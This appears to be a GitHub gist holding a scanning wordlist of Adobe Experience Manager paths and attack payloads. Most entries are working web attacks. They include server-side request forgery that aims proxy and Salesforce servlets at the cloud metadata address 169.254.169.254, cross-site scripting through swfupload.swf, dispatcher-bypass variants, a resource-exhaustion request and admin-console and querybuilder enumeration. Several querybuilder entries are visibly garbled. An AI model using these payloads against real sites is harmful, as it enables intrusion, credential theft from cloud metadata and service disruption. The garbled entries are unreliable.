/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.json?url={0}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.bmp?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.ico?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.css?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.gif?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.html?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.js?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet;%0a{0}.png?url={{0}}%23/blog.zsec.uk/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url={0}%23/blog.zsec.uk/a&q=a
/libs/cq/core/content/login.html
/libs/cq/core/content/login.json
/libs/cq/core/content/welcome.html
/libs/cq/i18n/translator.html
/libs/cq/search/content/querydebug.html
/libs/cq/security/userinfo
/libs/cq/tagging/content/tagadmin.html
/libs/cq/ui/content/dumplibs.html
/libs/cq/ui/resources/swfupload/swfupload.swf.res?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/workflow/content/console.html
/libs/dam/cloud/proxy
/libs/dam/cloud/proxy.json
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf.res?swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/foundation/components/primary/cq/workflow/components/participants/json.GET.servlet
/libs/granite/cluster/content/admin.html
/libs/granite/core/content/login.html
/libs/granite/security/currentuser
/libs/mcm/salesforce/customer.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html/a.1.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.ico?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.jpeg?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json
/libs/mcm/salesforce/customer.json/a.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json/a.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json/a.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://0.0.0.0&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer{0}?checkType=authorize&authorization_url={{0}}&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer{0}?customer_key=x&customer_secret=y&refresh_token=z&instance_url={{0}}%23
/libs/opensocial/makeRequest{0}?url={{0}}
/libs/opensocial/proxy?.css
/libs/opensocial/proxy{0}?container=default&url={{0}}
/libs/wcm/core/content/siteadmin.html
/miscadmin
/miscadmin#/etc/blueprints
/miscadmin#/etc/designs
/miscadmin#/etc/importers
/miscadmin#/etc/mobile
/miscadmin#/etc/msm/rolloutconfigs
/miscadmin#/etc/segmentation
/mobileformsivs
/online/.-1..json
/projects
/rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////c=
/security/.4.2.1...css
/security/.5..json?debug=layout
/siteadmin
/system/admin
/system/bgservlets/test.css
/system/bgservlets/test.gif
/system/bgservlets/test.html
/system/bgservlets/test.json
/system/bgservlets/test.json/a.1.json
/system/bgservlets/test.json;%0aa.css
/system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=111111111
/system/bgservlets/test.png
/system/console
/system/console/bundles
/system/console/configMgr
/system/console/jmx/com.adobe.granite%3Atype%3DRepository
/system/console/jmx/java.lang%3Atype%3DRuntime
/system/console/licenses
/system/console/memoryusage
/system/console/mimetypes
/system/console/productinfo
/system/console/vmstat
/system/console?.css
/system/sling.js
/system/sling/cqform/defaultlogin.html
/system/sling/info.sessionInfo.json
/system/sling/info.sessionInfo.txt
/system/sling/loginstatus
/system/sling/loginstatus.css
/system/sling/loginstatus.gif
/system/sling/loginstatus.html
/system/sling/loginstatus.json
/system/sling/loginstatus.json/a.1.json
/system/sling/loginstatus.json;%0aa.css
/system/sling/loginstatus.png
/tagging
/var.1.json
/var.1.xml
/var.feed.xml
/var.infinity.json
/var.json
/var.xml
/var/classes.1.json
/var/classes.1.xml
/var/classes.feed.xml
/var/classes.infinity.json
/var/classes.json
/var/classes.tidy.infinity.json
/var/classes.xml
/var/linkchecker.html
/welcome
/workspace
/bin/querybuilder.json?type=nt:file&nodename=*.zip
/bin/querybuilder.json?path=Thome&p.hits=full&plimit=-1
/bin/querybuilder.json?hasPermission=jcr:write&path=/content
/bin/querybuilder.json?hasPermission=jcr:addChildNodes&path=/content
/bin/querybuilder.json?hasPermission=jcrmodifyProperties&pathqcontent
/bin/querybuilder.json?p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast ModifiedBy&property.operation=unequals&property.value=admin&type=n t%3abase&p.limit=1000
/bin/querybuilder.json?pathqetc&path.flat=true&p.nodedepth=0
/bin/querybuilder.json?path=ietc/replication/agents.author&p.hits=full&p.nodedepth=-1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment